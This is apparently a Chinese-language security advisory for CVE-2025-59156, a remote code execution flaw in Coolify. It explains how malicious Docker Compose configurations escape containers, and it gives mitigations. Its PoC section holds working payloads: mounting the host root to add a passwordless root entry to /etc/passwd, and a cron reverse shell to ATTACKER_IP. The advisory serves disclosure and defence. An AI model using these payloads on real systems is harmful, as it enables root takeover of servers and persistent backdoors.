IPBUF安全漏洞报告
English
CVE-2025-59156 CVSS 8.8 高危

CVE-2025-59156 Coolify 远程代码执行漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-59156
漏洞类型
远程代码执行(RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Coolify

相关标签

远程代码执行RCEDocker容器逃逸权限提升CoolifyCVE-2025-59156高危漏洞Docker Compose自托管平台

漏洞概述

CVE-2025-59156是Coolify中存在的一个严重远程代码执行漏洞。Coolify是一个开源的自托管工具,用于管理服务器、应用程序和数据库。在4.0.0-beta.420.7之前的版本中,攻击者可以利用应用部署工作流程中的缺陷,通过在项目创建或更新时注入恶意的Docker Compose指令来执行任意代码。该漏洞的危险性在于,即使是被赋予低权限的成员账户,也能够利用这一漏洞完全绕过容器隔离,直接在主机操作系统上获得root级别的命令执行权限。攻击者通过定义包含恶意服务的Docker Compose配置,挂载主机文件系统,从而实现对宿主机的完全控制。CVSS评分高达8.8,属于高危漏洞,对使用Coolify进行服务器和应用管理的组织构成严重威胁。建议受影响的用户尽快升级到修复版本4.0.0-beta.420.7或更高版本。

技术细节

该漏洞源于Coolify在处理Docker Compose配置时的输入验证不足。在项目创建或更新过程中,系统未能对用户提供的Docker Compose指令进行充分的过滤和校验。攻击者可以在Docker Compose配置中注入恶意指令,例如通过volumes字段将宿主机的根目录挂载到容器内部,或者通过command字段执行任意系统命令。由于Coolify直接将这些配置传递给Docker引擎执行,而Docker在默认配置下给予容器较高的权限,攻击者得以利用容器与宿主机共享内核的特性实现权限提升。具体而言,攻击者可以通过挂载宿主机的文件系统(如 volumes: ["//:/host"])到容器内,然后在容器中直接修改宿主机的关键文件(如/etc/crontab、/etc/passwd),或通过写入SSH公钥到/root/.ssh/authorized_keys获得持久化访问。漏洞的成功利用完全绕过了容器的隔离机制,使攻击者能够以root身份在宿主机上执行任意命令。

攻击链分析

STEP 1
步骤1
攻击者以低权限用户身份登录Coolify平台
STEP 2
步骤2
创建新项目或更新现有项目,在Docker Compose配置中注入恶意指令
STEP 3
步骤3
通过volumes字段将宿主机根目录挂载到容器内部(如 /:/host)
STEP 4
步骤4
利用command字段或通过挂载的文件系统执行系统命令,完全绕过容器隔离
STEP 5
步骤5
在宿主机上获得root级别权限,可执行任意代码、窃取数据或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59156 Coolify RCE PoC # Malicious Docker Compose configuration for Coolify deployment # This PoC demonstrates how to mount host filesystem to achieve RCE malicious_compose_config = """ version: '3.8' services: malicious-service: image: alpine:latest volumes: - /:/host # Mount entire host filesystem - /var/run/docker.sock:/var/run/docker.sock command: | sh -c "chroot /host /bin/sh -c \"echo 'root:0' >> /etc/passwd && chmod 777 /etc/passwd\"" """ # Alternative approach: Reverse shell via cron reverse_shell_compose = """ version: '3.8' services: pwned: image: ubuntu:22.04 volumes: - /:/host command: | sh -c "echo '* * * * * /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /host/etc/crontab" """ # Exploitation steps: # 1. Create new project in Coolify or update existing one # 2. Inject malicious Docker Compose configuration # 3. Deploy the project # 4. Gain root access on host system

影响范围

Coolify < 4.0.0-beta.420.7

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制Coolify的用户注册和项目创建权限,仅允许受信任的管理员创建项目;2) 在Docker守护进程配置中禁用容器的特权模式(--no-new-privileges);3) 使用Docker的AppArmor或SELinux配置文件限制容器对宿主机的访问;4) 监控Docker日志和Coolify的活动日志,检测异常的部署行为;5) 在网络层面隔离运行Coolify的服务器,限制对其管理端口的访问;6) 考虑使用Kubernetes代替Docker Compose进行应用编排,以获得更细粒度的安全控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表